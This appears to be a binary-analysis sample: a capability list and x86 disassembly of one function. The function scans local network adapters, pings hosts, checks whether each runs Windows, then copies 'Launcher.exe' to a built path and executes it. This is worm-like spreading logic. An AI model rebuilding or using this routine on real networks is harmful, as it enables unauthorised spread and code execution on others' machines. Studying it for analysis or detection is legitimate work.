Function at 0x401d60
Capabilities:
Convert ip address from string
Copy file
Create process on windows
Get local ipv4 addresses
Get mac address on windows
Send icmp echo request

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x58c
mov eax, dword [0x406004]
xor eax, esp
mov dword [esp + 0x588], eax
push ebx
push esi
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
lea eax, [esp + 8]
push edi
push eax
push 0
push 0
push 0x10
push 0
mov dword [esp + 0x20], 0
call esi
cmp eax, 0x6f
je 0x401dd3
push eax
push str.GetAdaptersAddresses_failed_with_error:__ld_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401d00
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x588]
xor ecx, esp
call fcn.004023ff
mov esp, ebp
pop ebp
ret
push dword [esp + 0xc]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x401e17
push str.Memory_allocation_failed_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401d00
add esp, 8
lea eax, [ebx + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x588]
xor ecx, esp
call fcn.004023ff
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0xc]
push eax
push ebx
push 0
push 0x10
push 2
call esi
test eax, eax
je 0x401e64
push eax
push str.GetAdaptersAddresses_failed_with_error:__ld_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401d00
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 0x10
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x588]
xor ecx, esp
call fcn.004023ff
mov esp, ebp
pop ebp
ret
mov esi, ebx
cmp dword [esi + 0x44], 1
jne 0x402099
push 0x16
lea eax, [esp + 0x148]
push eax
mov eax, dword [esi + 0x10]
mov eax, dword [eax + 0xc]
add eax, 4
push eax
push 2
call dword [sym.imp.WS2_32.dll_inet_ntop]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x148]
push eax
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
je 0x401ec8
mov edx, str.inet_pton_failed
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push 0x4023d0
call fcn.00402190
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x402089
call dword [sym.imp.IPHLPAPI.DLL_IcmpCreateFile]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401edc
mov edx, str.IcmpCreateFile_failed
jmp 0x401eab
push 0x3e8
push 0x24
lea eax, [esp + 0x164]
push eax
push 0
push 0
push 0
push dword [esp + 0x2c]
push edi
call dword [sym.imp.IPHLPAPI.DLL_IcmpSendEcho]
test eax, eax
je 0x402082
cmp dword [esp + 0x160], 0
jne 0x402082
push 0x110
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 0x11c
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
mov word [esp + 0x134], ax
mov dword [esp + 0x136], eax
mov word [esp + 0x13a], ax
push 3
push 0x20
push 3
push 1
push 3
push 2
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push edx
push eax
push 0x23
lea eax, [esp + 0x2c]
mov dword [esp + 0x30], 6
xor ecx, ecx
mov dword [esp + 0x34], 0
push eax
mov word [esp + 0x144], cx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x402082
push dword [esi + 0x24]
push str._s_is_Windows._Copying_and_running..._n
call fcn.00401d30
add esp, 8
lea eax, [esp + 0x180]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x180]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.Launcher.exe
lea eax, [esp + 0x184]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push str.Launcher.exe
lea eax, [esp + 0x148]
push eax
push str._SC__s
lea eax, [esp + 0x394]
push 0x104
push eax
call fcn.00401cc0
add esp, 0x14
lea eax, [esp + 0x388]
push 0
push eax
lea eax, [esp + 0x188]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x402033
lea eax, [esp + 0x180]
mov edx, str.Failed_to_copy_file:
jmp 0x40205f
push 0
push 0
push 0
lea eax, [esp + 0x394]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x402099
lea eax, [esp + 0x388]
mov edx, str.Failed_to_run_file:
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push 0x4023d0
push eax
call fcn.00402190
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x402099
push edi
call dword [sym.imp.IPHLPAPI.DLL_IcmpCloseHandle]
push dword [esi + 0x24]
push str._s_is_not_Windows_n
call fcn.00401d30
add esp, 8
mov esi, dword [esi + 8]
test esi, esi
jne 0x401e66
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [esp + 0x598]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004023ff
mov esp, ebp
pop ebp
ret